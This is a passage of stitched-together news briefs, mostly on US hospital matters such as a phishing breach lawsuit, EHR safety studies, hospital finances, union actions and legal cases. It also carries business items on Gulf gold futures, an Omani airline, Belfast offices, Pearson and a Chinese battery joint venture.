new class of actors with their own behavioral patterns and ecology." More articles about AI: Robotic catheter autonomously navigates a beating heart Viewpoint: How health systems can integrate AI into stroke treatment Cleveland Clinic, Case Western receive $3M NIH grant for machine learning-based imaging analysis Weeks after Springfield, Mass.-based Baystate Health reported a phishing attack that exposed the personal health information of 12,000 patients the hospital has been slapped with a class-action lawsuit, according to Masslive.com. The lawsuit was filed April 11 in the U.S. District Court in Springfield, Mass. In the complaint, one patient claims she is now at a higher risk for identity theft and other cybercrime due to the breach, Masslive.com reports. Baystate Health alerted patients on April 8 of a February phishing attack. In the notice to patients, the hospital said it had learned an unauthorized third-party gained access to an employees email account through a phishing attack. Upon further investigation, Baystate Health discovered nine employee email accounts had been compromised from the cyberattack. Patients names, dates of birth and health information were affected by the phishing attack. A limited number of Social Security numbers, Medicare numbers and some health insurance information may have been affected. Since the phishing attack, Baystate Health has offered patients credit monitoring and identity protection services for those whose Social Security numbers were affected. Problems in EHRs, such as outdated information and incomplete notes, can cause treatment delays as well as safety and communication issues between chemotherapy patients and providers, according to a study published in Journal of Oncology Practice. For the study, Ann Arbor-based University of Michigan researchers measured safety culture as well as satisfaction rates with clinic technology and clinician communication among 297 oncology providers. The researchers surveyed the providers, which included nurses, physicians and advanced practice providers across 29 practices in the Michigan Oncology Quality Consortium, a statewide collaborative. When asked whether they were satisfied with communication technology, 69 percent of respondents said they were satisfied with all paper or paper and electronic records, while 42 percent of participants said they were satisfied with all electronic records. Researchers also found that clinicians in settings with the most sophisticated EHRs reported lower safety scores. Higher satisfaction with technology and better clinician communication was associated with higher safety scores, according to the report. Common EHR problems include physicians, nurses and pharmacists receiving different patient information, EHR hardwiring that limits certain functions to select providers and physicians not completing notes in real time, which leaves nurses and other care team members without updated information on patients scheduled for chemotherapy. "Chemo[therapy] is a high-volume, high-risk endeavor and most patients receive these treatments in centers like the ones we studied," Christopher Friese, UM nursing professor and principal investigator on the study, said. "Unlike some other treatments, there's no reversal, there's no antidote, we have to get it right the first time." Despite challenges posed by EHRs, Mr. Friese said some sites in the study with sophisticated EHRs reported high safety scores. Researchers are now analyzing the sites from the study with the most and least EHR problems to extract best patient safety methods. The Dubai Gold & Commodities Exchange (DGCX) in partnership with RakBank has announced plans to launch a Mini-Gold Futures product, offering investors the chance to trade gold in smaller denominations. The contract will be the first-of-its-kind, and is in response to feedback from market participants that emphasized a strong desire from smaller investors to increase their exposure in the precious metals market, reported state news agency Wam. The Mini-Gold product will be made available on the DGCX platform and cleared by the Dubai Commodities Clearing Corporation (DCCC). Initially, delivery will take the form of electronic transfer at RakBank, although as the contract develops it is envisaged that the additional capability of physical redemption will be added. The launch of the Mini-Gold contract is targeted for Q3 subject to the appropriate approvals. Les Male, CEO of DGCX, said: "The DGCXs decision to expand its precious metals portfolio is a direct result of the partnership we forged with RakBank in 2017. We are delighted to have built on this relationship, and excited to announce the launch of the Menas first exchange listed Mini-Gold product together. There is a strong desire to own gold in the UAE, but at present, it is difficult for smaller investors to buy Gold Futures given the large size of the contracts. This significant move will open up access for them and permit accumulation of Gold as part of their savings, while ultimately contributing to the development of the regions bullion market." Vikas Suri, Managing Director of Treasury at RakBank, said: "We were very pleased to join hands with the DGCX and DMCC two years ago to start work on the development of a platform that would allow customers, large and small, from across the region to acquire gold at competitive prices with just a click of a button through an integrated Digital Banking platform. I am delighted to note that this vision has now become a reality and that the end product of a significant amount of hard work, commitment and determination from all sides has culminated in the agreement to launch the DGCX Mini-Gold product. This is part of our exciting RAKGOLD project to create the UAEs first full service, end to end bullion banking offering and we look forward to supporting the new contract as both a market maker and gold clearer." Patients who receive their medical records and discharge prescription on a USB flash drive rather than a handwritten note may experience fewer post-discharge medication errors, according to a study published in the British Journal of General Practice. A patient's medical records can be uploaded to the USB device, which is integrated with the hospital's EHR system. Study authors designed the patient-held EHR device so it can travel with the patient, and once activated, can provide a link to the patient's medication information in the EHR. Patients and providers involved in the study believed the device provided a potential solution for poor communication of medication information and limited the possibility of medication error at the primarysecondary care interface. The study comprised 102 patients at five general medical and surgical wards of a 350-bed hospital as well as general practices in County Cork, Ireland, from January to July 2016. Researchers split participants into two groups, with the first receiving discharge prescriptions on the USB device and the second group receiving discharge prescriptions on paper. Researchers also conducted interviews with the patients, physicians and IT professionals on the USB device and paper records' clinical impact. Results of the study showed the total number of errors among the group who received the USB device was lower than the group who received paper records. Additionally, interview participants agreed that the USB device has potential as a method to reduce error and improve medication communication between patients and providers. However, study authors noted that all interviews were conducted by the study's principal investigator, who is also a physician. The principal investigator's role as a physician could have introduced a bias among interviewees. Study authors concluded that while the USB technology has potential to improve medication communication post-patient discharge, further studies with a larger pool of participants should be done. Clinical denials are a fact of life for hospitals. Providers must contend with a number of government audits conducted by several different organizations. On the private payer side, hospitals must comply with complex approval processes related to prior authorizations, admission status and medical necessity. This content is sponsored by R1 RCM At Becker's Hospital Review's 10th Annual Meeting in Chicago, R1 RCM hosted a workshop focused on clinical denial prevention. Ronald Hirsch, MD, FACP, CHCQM, vice president of the Regulations and Education Group at R1 RCM, discussed how collaboration between physicians and utilization and revenue cycle leaders can minimize clinical denials and maximize payment for hospital services. Start with the registration process Accurate patient registration is the first step to preventing clinical denials. Two best practices are: Using real-time insurance verification. It is essential to start the patient registration process early and verify benefits with technology. Recognizing that the Emergency Medical Treatment and Active Labor Act allows reasonable registration processes. EMTALA permits hospitals to ask patients about their insurance. "Insurance verification is a patient-centric practice. If we don't know who the payer is, we may assign people to physicians who aren't in their network, resulting in unnecessary expense for patients," explained Dr. Hirsch. Medical necessity for services Medicare and most private payers have published coverage guidelines for medical necessity. This doesn't mean, however, that obtaining pre-authorization for services is easy. Hospitals must pay attention to several areas: For scheduled procedures, both physicians and hospitals must participate in the pre-authorization process. Once a physician obtains authorization for a procedure, the hospital should request the patient's medical records and confirm the authorization with the payer. This includes determining whether the status should be inpatient or outpatient, where payment rates may differ. Medical necessity can vary within payers. For example, a commercial plan may not cover particular procedures for most customers. However, that insurer may be obligated to cover those procedures for Medicare Advantage customers, due to CMS requirements. Hospitals must review infusion and oncology services for medical necessity. Key concerns are whether physicians are ordering the right dosages of drugs, in the right order, for the right cancers. No prior authorization is available for Medicare planned procedures. Best practices are reviewing procedures for medical necessity, determining the proper admission status, getting the inpatient admit order when the procedure is scheduled and contacting the physician if medical necessity is questioned. Dr. Hirsch added, "Don't use checklists as your only source of documentation. Auditors view them less positively than narrative descriptions." Medical necessity for the setting Some payers mandate certain procedures be done in ambulatory surgery centers, rather than in a hospital outpatient setting. As for non-scheduled emergency room care, proof of medical necessity for hospital care is essential. Admission rules vary by payer. "Documentation review in the emergency department is important. Hospitals must discourage ED doctors from cutting and pasting information from templates. It's also a good idea to make ED case management services available at night and on weekends," Dr. Hirsch said. Medical necessity for the patient status If Medicare patients are hospitalized for two or more midnights, their status should be changed from observation to inpatient. Hospitals sacrifice millions of dollars by keeping patients in observation status after the second midnight. Aiming for a "benchmark" observation rate is fraught with peril. Observation rates vary from hospital to hospital, based on the payer mix, the number of surgical patients, the formula for calculating the observation rate and more. Dr. Hirsch warned, "Don't compare your observation rate to that of another hospital." For all patients, post-acute planning should start at admission. Commercial payers often withhold approvals for skilled nursing facilities, long-term acute care hospitals and inpatient rehabilitation facilities until the patient is ready to leave the hospital. Conclusion Eliminating silos and enhancing communication among clinicians and staff is essential for data transparency and for preventing clinical denials. "Staff, physician advisors and doctors can't prevent denials if they don't know what's being denied. To find trends, they must have access to denial and appeals data," Dr. Hirsch said. There are always areas for improvement when it comes to looking at the revenue cycle, and many can benefit from utilizing technology, expert review and recommendations. The role of active and ongoing medical record review by physician advisors is crucial and developing a robust clinical denial prevention program with a revenue cycle partner can help practices focus on front-end processes, medical necessity and contract variations to appeal and prevent clinical denials. To learn more about R1 RCM, click here. More articles on healthcare finance: Moody's: Nonprofit hospitals' revenue growth outpacing expense growth Most middle-income seniors wont be able to afford healthcare, housing in 2029, study shows Revenue cycle, software companies form strategic partnership Although Springfield (Vt.) Hospital has made various cost-cutting moves in recent months, the hospital continues to see operating losses and is considering several options to shore up finances, according to VTDigger. Eight things to know: 1. Over the course of two fiscal years, the hospital lost about $14 million. 2. As the losses mounted, the facility obtained an $800,000 loan from Vermont to prevent closure. In addition, Springfield Hospital announced in February a restructuring of operations, which included layoffs and wage cuts. Additionally, the hospital plans to shutter its childbirth center June 1 due to financial issues. 3. Leadership changes also occurred at the organization due to the financial struggles. Last December, Springfield's CEO Tim Ford resigned after reports surfaced that revealed the severity of the hospital's financial issues, including that bills were going unpaid. This came about one week after Springfield Hospital's CFO Scott Whittemore departed. 4. After two of the top executives resigned amid the hospital's financial troubles, Vermont Gov. Phil Scott appointed Tom Huebner, former CEO of Rutland (Vt.) Regional Medical Center, to evaluate and monitor the hospital and advise its leaders. Currently, Mike Halstead is serving as interim CEO, and Wayne Scholz is serving as interim CFO. Both are employees of Quorum Health Resources, a Brentwood, Tenn.-based company hired by the Springfield Hospital to help get through the financial challenges. 5. Despite the cost-cutting efforts and leadership changes, Springfield Hospital still expects operating losses of $5.5 million to $6 million this fiscal year, according to VTDigger. 6. Mr. Halstead called the hospital's future "tenuous." He reportedly told the Green Mountain Care Board, the board that oversees hospitals in the state, "We know what we're trying to do, but it's tenuous as to whether we can pull it off." 7. The hospital is considering multiple next steps. Hospital administrators told the care board these include a possible partnership with Lebanon, N.H.-based Dartmouth-Hitchcock or another health system, or maybe filing for Chapter 11 bankruptcy.. 8. The care board, after receiving an update from administrators, agreed to give the hospital a budget adjustment that may result in nearly $500,000 in additional revenue this year for the hospital, according to VTDigger. Meanwhile, Mr. Halstead said Springfield Hospital is looking to replace lost clinical employees and is "doing everything we possibly can to try to maintain the staff that we have." Read the full VTDigger report here. More articles on healthcare finance: Moody's: Nonprofit hospitals' revenue growth outpacing expense growth Most middle-income seniors wont be able to afford healthcare, housing in 2029, study shows Revenue cycle, software companies form strategic partnership Nine recent health IT vendor contracts and go-lives: 1. After their recent partnership, telemedicine provider Doctor On Demand and Humana are launching a new health plan called On Hand, which is focused on comprehensive virtual primary care. 2. Patients at Naples, Fla.-based Physicians Regional Healthcare System can now access their medical information on their iPhones, via Apple's health records app. 3. Glasgow, Mont.-based Frances Mahon Deaconess Hospital has finished installing Meditech's web-based EHR. 4. Arkansas Children's in Little Rock will integrate Excel Medical's medical integration device platform with its Epic EHR. 5. Atchison (Kan.) Hospital debuted Meditech's Expanse EHR April 1. 6. The Rochester, Minn.-based Mayo Clinic and Arizona State University in Tempe have announced six healthcare technology-focused startups that will join their inaugural MedTech Accelerator program. The companies are BioInteractive Technologies, GYANT, Hexoskin, Life365, Safe and Securisyn. 7. Sinai Health System, the Chicago-based nonprofit hospital group, has joined with the Center for Digital Innovation in Beer-Sheba, Israel, to develop digital solutions for challenges in healthcare. 8. Healthcare technology solutions provider Nasco is teaming up with Express Scripts, Blue Cross Blue Shield of Massachusetts, Blue Cross Blue Shield of Michigan and Horizon Healthcare Services to form a blockchain coalition, known as Coalesce Health Alliance. 9. The Department of Defense authorized vitals monitoring systems and an electrocardiography device from Hill-Rom, a global medical technology company, for use within the DOD healthcare system. For the first time in history, healthcare surpassed manufacturing and retail in 2017 to become the largest source of U.S. jobs. Healthcare's role as an employer is expected to grow through 2026, adding about 2.4 million jobs in a decade to an industry that already employs more than 13 million people. While the workforce of Northwell Health makes up a fraction of the nation's healthcare jobs, investing in our 68,000 associates is my most defining and crucial responsibility as president and CEO. If you are fortunate enough to call yourself a healthcare leader, the same is true for you. Make no mistake, we will confront macro issues of healthcare at a steady clip leading into the 2020 presidential election. As a nation and industry, we must reckon with serious questions about healthcare costs, funding and access, but we must do so while being deeply in tune with our people and ensuring they understand that the work they do is extraordinary. For the executive who doesn't think they have enough time to invest in their people, I have two questions. 1). What are you really doing with your time? And 2). What could possibly be more important than your people? If we can't find time to be with employees who do all the work and deliver the care, then what the hell are we doing as leaders? I have been CEO at Northwell for 17 years, but every Monday at 10 a.m. I get to experience the very first day of work for approximately 180 new hires we welcome at our headquarters with a program called "New Beginnings." I join the group for at least two hours, which contrasts with many "orientations" where the CEO stops by to share a boilerplate welcome message, and then goes on his or her way with little interaction. I have no interest in taking that approach with people who, in a matter of days, will influence the lives of our patients and families for years to come. What do we do during our time together? A lot. First, these 180 incomers have a chance to write down on notecards any question they'd like to ask me. The curiosities vary. What's it like to be CEO? What are the greatest challenges you face right now? What is your favorite restaurant? What do you do in your free time? I answer all. Then we discuss the history of our organization, which is essential. After all, if you don't know where you come from, it's hard to know where you are and where you're going. I illustrate the connectivity of our health system, and how every department, site and person is interdependent. In most health systems, employees are immediately placed in a department or unit upon their hiring, and it is very difficult for them to see how that one division works with the rest of the organization. I want them to understand the totality and mission of the health system. We are stronger when our employees see how all the pieces of our organization are connected, and every person knows his or her work is important. I spend a lot of time explaining to our new employees that Northwell is not just about hospitals. We have 23 of them, but we also have 720 ambulatory locations and about 40 percent of our revenue is generated by our outpatient services and post-acute services and large research and academic enterprises that include medical and nursing schools, a graduate school of molecular medicine, and 162 residency and fellowship programs that train more than 1,800 clinicians. I also talk about healthcare's competitive marketplace, and the role of corporate giants like Amazon, Google, CVS Health and Walgreens who are looking to dramatically increase their role in the provider business. In a room filled with new faces, fresh ambitions and curiosity, I spend a lot of time on our values compassion, teamwork and innovation. Recognizing the diversity of the communities we serve, I also reinforce the importance of understanding and appreciating our cultural differences. I have been a regular at New Beginnings for at least 14 years and people remember. Wherever I travel across the region, I routinely run into staff who recognize me I would never be able to slip into the rank-and-file as an "Undercover Boss." New Beginnings occurs once a week, but I interact with employees regularly on countless other occasions. For example, every week for three straight months, my COO, CMO and I spend up to three hours at "town hall" meetings with middle managers, supervisors and front-line staff, visiting our corporate offices, centralized administrative facilities, ambulatory facilities, home care offices and hospitals. Employees can ask us questions about anything. They have a desire to learn, because the more they know the more they know they belong. Beyond that, I regularly meet with groups of employees for breakfast and then individually as opportunities unfold. This past week, I met with three employees one-on-one. One gentleman who is earning his master's degree asked to interview me for a paper on leadership. I said "yes," which is my universal response when employees ask to meet. And while the time I set aside for Northwell employees builds familiarity and trust, it also helps ensure that we don't get too comfortable as an organization. During our time together, I always find a way to encourage employees to look at Northwell from the outside in, not only from the inside out. When you walk into your workplace, imagine you are not an employee but a patient. As employees, we can often become oblivious to our surroundings, looking at things but not really seeing them. If a patient walks into one of our hospitals and sees a garbage can overflowing, she will notice. If she sees two employees arguing, she will grow concerned and wonder what they are talking about. The ultimate goal with New Beginnings and the time I spend with employees is to ensure that they feel a sense of belonging and understand that every patient interaction is an opportunity to make a positive impression. Every one of us will be a patient at one time or another in our lives, so lets treat people like we would want to be treated. Invest in your people. Give them your time, answers, ears, attention, perspective and, perhaps every now and then, selfies. Healthcare has its challenges, but nothing gets done without teams of people. Working in this profession is not a job it's a privilege and responsibility. Becker's Hospital Review reported the following hospital-union events including protests, elections and contract agreements after April 11. 1. One-hundred forty-four workers at the City of Hope's business office in Irwindale, Calif. voted to join Service Employees International Union-United Healthcare Workers West. 2. The National Union of Healthcare Workers released a cable TV commercial accusing Oakland, Calif.-based Kaiser Permanente of delaying and denying mental healthcare. 3. Valencia, Calif.-based Henry Mayo Newhall Hospital and the union representing its registered nurses reached a three-year contract to avert a strike. 4. Five former nurses are suing South Peninsula Hospital in Homer, Alaska, alleging that they were forced out of their positions based on age. 5. Indiana (Pa.) Regional Medical Center and the union representing 380 registered nurses and nurse anesthetists accused each other of unfair labor practices. 6. The union representing more than 24,000 employees at the University of California's 10 campuses, five medical centers, various clinics, research laboratories and UC Hastings College of the Law called for a boycott of school speaking engagements. 7. Kaiser Permanente Colorado began preliminary talks with its labor unions about workforce needs, after the layoff of 400 workers in the last six months. 8. Yale-New Haven (Conn.) Hospital signed a new contract with the union that represents its cafeteria workers. 9. Nurses at St. Joseph Regional Medical Center in Lewiston, Idaho, voted April 11 to join the International Brotherhood of Teamsters union. 10. Nurses at Stanford (Calif.) Health Care and Packard Children's Hospital in Palo Alto, Calif., voted for the option to strike. From a California hospital facing a lawsuit for secretly recording patients to a Tennessee hospital settling a lawsuit over a mandatory flu shot policy, here are the latest healthcare industry lawsuits and settlements making headlines. 1. Tenet responds to lawsuit, accuses cardiologists of bullying staff, missing procedures Dallas-based Tenet Healthcare responded to a civil lawsuit filed by two cardiologists who claim they were fired from their leadership positions at Detroit Medical Center for raising concerns about quality of care and patient safety. 2. Colorado physician found guilty of destroying patient files to conceal billing fraud John Van Wu, MD, was convicted in a case alleging he billed insurers and employee benefit programs for services that weren't rendered to patients. 3. Judge tosses UPMC lawsuit against Pennsylvania attorney general A U.S. district judge dismissed Pittsburgh-based UPMC's lawsuit against Pennsylvania Attorney General Josh Shapiro April 24. Mr. Shapiro filed a petition against UPMC in February seeking changes that require UPMC to accept binding arbitration if an impasse is reached in contract negotiations with an insurer. UPMC filed a retaliatory suit in late February, accusing Mr. Shapiro of overstepping authority. 4. Ohio nurse charged in connection with patient's death An Ohio nurse faces criminal charges over the death of a 71-year-old patient whom prosecutors say received delayed care. 5. Ex-Pennsylvania health system COO charged in $1.3M fraud scheme The former COO of Butler (Pa.) Health System was indicted on several charges, including embezzlement, mail fraud and money laundering. 6. California hospital hit with lawsuit after secretly recording 1,800 surgeries A former patient filed a proposed class-action lawsuit April 17 against San Diego-based Sharp HealthCare and one of its hospitals after motion-activated cameras placed in operating rooms filmed more than 1,800 patients during surgeries without their consent. 7. FTC sues Surescripts, claims it illegally monopolizes e-prescribing market The Federal Trade Commission filed a complaint April 17 in federal court against Surescripts, a health information network focused on e-prescriptions, alleging the company used illegal tactics to maintain monopolies over two e-prescribing markets. 8. Saint Thomas Health to pay $75K to settle lawsuit over mandatory flu shot Nashville, Tenn.-based Saint Thomas Health agreed to pay $75,000 to settle allegations Murfreesboro, Tenn.-based Saint Thomas Rutherford Hospital violated federal law by ordering a vendor's employee to get a flu shot despite his religious beliefs. 9. Ex-Missouri hospital owners accused of carrying out elaborate billing scheme Earlier this month, a judge dismissed part of a lawsuit filed by the former owners of Putnam County Memorial Hospital in Unionville, Mo., against the hospital's board of trustees and Missouri Auditor Nicole Galloway. However, the legal fight is far from over. 10. Tulare hospital district accuses ex-board members, legal council of breaching fiduciary duties The Tulare (Calif.) Local Healthcare District sued three of its former board members and its prior legal counsel April 24 for allegedly breaking their fiduciary duty to the district. 11. NYC lab director fired after raising concerns about DNA test methods wins $1M settlement Marina Stajic, PhD, former laboratory director in New York City's chief medical examiner's office, was awarded a settlement of $1 million by the city over her claims of retaliation from the office after she questioned its usage of a novel DNA testing technique. 12. J&J to pay $9.9M to settle Washington state surgical mesh case Just before a trial was set to begin April 22 in Seattle, Johnson & Johnson agreed to pay $9.9 million to resolve a lawsuit claiming the company failed to warn patients about the risks of its pelvic mesh devices. 13. BCBS of Louisiana sues J&J subsidiary, alleges it filed sham lawsuits to thwart competition Blue Cross Blue Shield of Louisiana is suing a Johnson & Johnson subsidiary, accusing it of filing "sham" patent litigation to keep generic forms of Zytiga off the shelves to maintain a monopoly on its best-selling prostate cancer drug. 14. Former nurses accuse Alaska hospital of age discrimination Five former nurses are suing South Peninsula Hospital in Homer, Alaska, alleging that they were forced out of their positions based on age. 15. Judge supports NYC's mandatory measles vaccination A judge in New York City denied parents' request to lift the city's mandatory vaccination order amid a measles outbreak. More articles on legal and regulatory issues: HHS hit with class-action complaint over suspended Medicare payments Sutter Health enters $30M settlement over upcoding allegations UHS can't dodge claims it held patients illegally, investors say Pittsburgh-based Allegheny Health Network on April 25 launched an online rating system for patients to share feedback on their providers. Three things to know: 1. The health system will post verified star ratings compiled by Press Ganey on its website, along with patient comments for all employed physicians. 2. The star ratings are on a scale of 1 to 5, with the average AHN physician rating being 4.7. 3. The ratings will appear on a physician's main page, which patients can search for under the site's "Find a Doctor" section. Hospitals in Illinois and Wisconsin received at least 37 patients affected by an ammonia spill in Beach Park, Ill., according to the Lake County News-Sun. As of April 25, seven of the patients were reportedly in critical condition with life-threatening injuries. Eleven firefighters and three police officers were among those transported for medical treatment, Lake County Sheriff's Office spokesperson Christopher Covelli told the Lake County News-Sun. Investigators believe the spill occurred after a pair of two-ton tanks filled with anhydrous ammonia being towed by a tractor started to leak. Anhydrous ammonia can cause "unconsciousness, and at worst case even death," Mr. Covelli said. After breathing the toxic fumes, the 37 people were transported to various hospitals, including Vista Medical Center East in Waukegan, Ill.; Northwestern Lake Forest (Ill.) Hospital; Advocate Condell Medical Center in Libertyville, Ill.; St. Catherine Hospital in Kenosha, Wis.; and the Naval Station Great Lakes Hospital in North Chicago, Ill. More articles on patient flow: Cardiologist's exit forces Indiana hospital to suspend heart transplant program Walmart sees benefit of flying employees to top hospitals for care Lehigh Valley Health hospital to shutter ER amid system consolidation The University of California and California State University, both in Los Angeles, are quarantining hundreds of staff members and students over potential measles exposures, reports The Washington Post. UCLA confirmed that a student with the measles visited two campus buildings for classes on April 2, 4 and 9. The university said more than 500 people were potentially exposed to the virus. UCLA is still waiting to receive medical records for 82 people who will be quarantined until they can establish proof of immunity. Cal State LA issued quarantine orders to 127 staff members and 71 students after officials learned of a potential measles exposure incident at the campus library April 11. The quarantine could last up to 21 days. The CDC reported 695 measles cases nationwide as of April 24, which marks the highest annual total since U.S. health officials declared the disease eradicated in 2000. Oman-based SalamAir has launched non-stop flights to Riyadh, the capital of Saudi Arabia, as well as four seasonal flights to Madinah, catering to Umrah travellers during the holy month of Ramadan. The new service is the airlines second destination in the kingdom after Jeddah. Return tickets to Riyadh and Madinah are now available at special promotional fares. Starting June 1, SalamAir will fly four times a week to Riyadh on Monday, Wednesday, Friday and Saturday, departing Muscat at 10:25 arriving in Riyadh at 11:25. Return flights will depart from Riyadh at 12:20 arriving in Muscat at 15:30. SalamAirs four seasonal flights to Madinah with return to Muscat will be on May 9, May 16, May 23, May 28. Captain Mohamed Ahmed, CEO of SalamAir, said: The Jeddah-Muscat route has been successful, and we look forward to expanding our network across the kingdom by adding Riyadh and Madinah. Saudi Arabia is a market poised for growth when it comes to the aviation sector. The country recorded 8 per cent passenger growth in 2017 and 12 per cent in H1 2018. Tourism and travel are becoming an increasingly influential sector in the Kingdoms economic diversification strategy. The captain added: For us at SalamAir, we continue to introduce more options when it comes to convenient and cost-effective travel. Our GCC network is expanding and we will continue with this strategy to meet the increased demand on these destinations for leisure and business travellers alike. Oman is a very popular destination for Saudis looking for short holidays and business travel and we are delighted to contribute in strengthening the relation between Oman and Saudi Arabia. Today, the SalamAir network consists of 17 destinations including Muscat, Salalah, Suhar, Dubai, Doha, Jeddah, Karachi, Multan, Sialkot, Shiraz, Kathmandu, Khartoum, Dhaka, Alexandria, Kuwait, Riyadh and Abu Dhabi. SalamAir recently became the first Oman-based carrier to receive the new Airbus A320neo aircraft, making it one of the early Middle East recipients and operators of the highly rated model. In addition to the delivered aircraft, another five Airbus A320neo are expected to join SalamAirs fleet in 2019. A cost-conscious menu of additional services is also available to guests, which includes extra luggage allowance, as well as seat and meal selection. - TradeArabia News Service The Washington Legislature has passed a bill that requires hospitals to give nurses and other staff regular rest and meal breaks, according to a Spokesman-Review report. The issue has been in the news recently, after State Sen. Maureen Walsh said some nurses in small, rural hospitals probably play cards much of the time during a legislative debate. Ms. Walsh, who has since apologized, faced backlash from nurses after her comments and received at least 1,700 decks of cards at her office. Nurses and medical technicians were on hand April 24 as both chambers passed a revised version of a mandatory healthcare workers scheduling bill, according to the Spokesman-Review. The revised version requires hospitals to provide time in their scheduling for meal and rest breaks, with exceptions for unforeseen or unavoidable emergencies. The bill also stipulates that workers are due an uninterrupted break later if unforeseen or unavoidable emergencies interrupt their break. There are also requirements in the legislation regarding overtime pay. One talking point that came up during debate about legislation on the issue was whether to exclude some smaller hospitals from the requirements. According to the Spokesman-Review, the final version calls for hospitals with fewer than 25 beds to comply with the break requirements, but the law won't apply to them until July 1, 2021. More articles on workforce: After backlash, Washington state senator will shadow 12-hour nursing shift Washington lawmaker faces backlash after saying some rural hospital nurses may spend time playing cards 5 most-read workforce stories in 2019 A federal judge denied a motion to detain three men associated with the Dallas-based Forest Park Medical Center kickback and bribery case that involved $40 million in illegal payouts to surgeons in exchange for referrals, Dallas News reports. What you should know: 1. The judge allowed Wilton Burt, Jackson Jacob and Douglas Won, MD, to stay out of prison in Texas until their sentencing hearings. 2. Mr. Burt faces a lifetime sentence, Mr. Jacob faces up to 20 years and Dr. Won faces up to five years, the smallest sentence of any of the defendants in the case. 3. Dr. Won performed his last spine surgery in March, but is still providing postop care for around 30 patients. 4. Mr. Burt is the co-founder of FPMC and was one of the practice's top managers. 5. The state charged 21 people in connection with the alleged billing scam at FPMC, 10 people pleaded guilty and nine people's cases are still pending in court. A lawyer who was charged requested a separate trial, and a judge dismissed all charges against another physician. Three spine surgeons weigh in on what they hope to see in 3D spine instrumentation printing in the near future. Ask Spine Surgeons is a weekly series of questions posed to spine surgeons around the country about clinical, business and policy issues affecting spine care. We invite all spine surgeon and specialist responses. Next week's question: What is an integral part of your daily routine that helps you maintain productivity? Please send responses to Anuja Vaidya at avaidya@beckershealthcare.com by Wednesday, May 1, 5 p.m. CST. Question: What advances do you hope to see in 3D printing in the next five to 10 years? Mark M. Mikhael, MD. Spine Surgeon at NorthShore University HealthSystem's Orthopaedic Institute and Illinois Bone & Joint Institute (Chicago & Glenview, Ill.): I would like 3D printing to advance to shaping implants that are customized, better suited for different body types and sizes and various pathologies. Most people don't fall into the standard small, medium and large sizes. Also, as we learn to better utilize 3D printing with different kinds of materials, I would like to use more than metal implants more biologically compatible materials. There is promising research with implants that "on-growth" and "in-growth" into bone. They are made from porous materials and different biologics, such as calcium phosphate ceramic and hydroxyapatite, as examples. I hope we find a better way to bond implants to bone. It will only benefit the patient and result in improved long-term outcomes. Issada Thongtrangan, MD. Orthopedic Spine and Neurosurgeon at Minimally Invasive Spine (Phoenix): I see the future of 3D printing in complex spine cases, such as a congenital deformity, severe spinal degeneration or destruction of the spine from a tumor. These issues are difficult or impossible to reconstruct with an off-the-shelf implant. The main benefit of 3D spinal implants is that we can print a unique implant that is specifically designed to fit perfectly into a defect to correct a problem. In addition, there is currently research being performed on 3D printing of artificial discs. I would like to see the clinical outcomes data to justify this technology due to their cost. Brian R. Gantwerker, MD. Founder of the Craniospinal Center of Los Angeles: This area has been seemingly quiescent, in my opinion. I am hoping that newer coatings on implants and highly detailed surfaces have some promise. Peer-reviewed, nonsponsored papers will bear out how much better [they will be]. This will dictate physician adoption. But custom implants are still expensive and represent a lot of cost. If the payers see value, they will flourish. If not, they will be another sad footnote in good but aborted technology. The parent company of Northern Ireland jewellery business Argento has diversified into offices with a number of investments in Belfast city centre, Belfast Telegraph can reveal. Denvir Holdings, led by Pete Boyle and his wife Ciara Denvir, has bought Laganview House on the corner of Ann Street and Oxford Street through its company Angus Properties. It has now let out three storeys of the building to software company Teamwork, which said it was investing $1.2m in the site. Bridal shop WED2B is housed on the ground floor. Angus Properties is also working on office projects on Queen Street and Lombard Street. The diversification by the wider business comes after it netted 7m from the sale of 26 Pandora stores in Scotland and England. The shops were sold back to Danish company Pandora. Mr Boyle told the Belfast Telegraph that the company had gained experience from renovating listed buildings to turn them into shops, and had decided to do the same for office space. "We had just created a new office space for Argento in a derelict building and we thought we should do this for other people," he explained. "After the sale of 26 stores to Pandora we had capital to invest and we saw an opening for creating interesting and cool spaces in old or listed buildings in Belfast." He said they planned to limit commercial projects to offices aimed at the tech sector. It is now redeveloping a red brick warehouse on Queen Street into "trendy" office space while a 7,000 sq ft office on Lombard Street is being turned into a "boutique-style" office space. Mr Boyle acknowledged the retail industry was a "difficult place" but that some companies remained "great tenants". Areas outside the city centre were improving he said, adding that department store chain John Lewis may now be glad it didn't get planning permission for a large store in Lisburn. "Urban villages like Belmont and Ormeau are now doing much better but it's hard to imagine anyone will ever build another shopping mall," he said. "I suspect John Lewis is very grateful that planning turned down the Sprucefield site," he added. Cork-based Teamwork last year announced it's creating 85 new jobs in Belfast. Its software products are designed to help workplace teams operate more efficiently. A spokeswoman said Laganview House's "superb location and views has allowed us to create an outstanding, comfortable workspace for our current and future Belfast staff". Pearson returned to revenue growth as it continued its digital transformation (Pearson/PA) Pearson returned to growth in the first quarter as it accelerated its transformation into a digital publisher. Revenues jumped 2%, up from 1% decline for the same period last year, as it was buoyed by strong sales in the UK. The performance has put it on track to stabilise its top line after five years of declines, it said in a trading update. The group held firm on its forecasts for the full year, with adjusted operating profit expected to be between 590 million and 640 million. Pearson reported 4% revenue growth from its core UK, Italian and Australian markets, while it saw a slight decline in US higher education sales. The company said it is continuing to accelerate its digital transformation, including launching new educational products such as an artificial intelligence (AI) powered maths tutor mobile app and an AI powered essay marker. Over the past five years, Pearson has been forced to cut jobs and sell assets including the Financial Times newspaper and The Economist magazine to focus on the education sector. Pearson chief executive John Fallen said: We are off to a strong start to the year, having laid good foundations in 2018. We continue to make progress against our strategic priorities, and we are bringing exciting new products and capabilities to market in 2019 which will continue to accelerate our move to digital. George Salmon, equity analyst at Hargreaves Lansdown, said: While textbook sales are still in decline, solid growth from its new online resources means underlying growth in Pearsons most important market is back in positive territory. Pearson also announced the appointment of Unilever CFO Graeme Pitkethly and entrepreneur Sherry Coutu as non-executive directors. Shanghai (Gasgoo)- China-based power battery provider Contemporary Amperex Technology Limited (CATL) announced on April 25 that it has signed a contract with the state-owned carmaker FAW Group to jointly set up a company focusing on production and sales of power batteries. The joint venture, dubbed CATL-FAW Power Battery Co.,Ltd (CATL-FAW), has been registered at the end of January with a registered capital of RMB2 billion, according to tianyancha.com, a Chinese data search platform. CATL and FAW Group hold 51% and 49% stake in CATL-FAW with respective contribution of RMB1.02 billion and RMB980 million. In accordance with the newly-signed agreement, the joint venture plans to start a power battery manufacturing program in Xiapu County, Ningde, Fujian. Its business scope covers the development, production and sales of lithium ion battery, power battery, 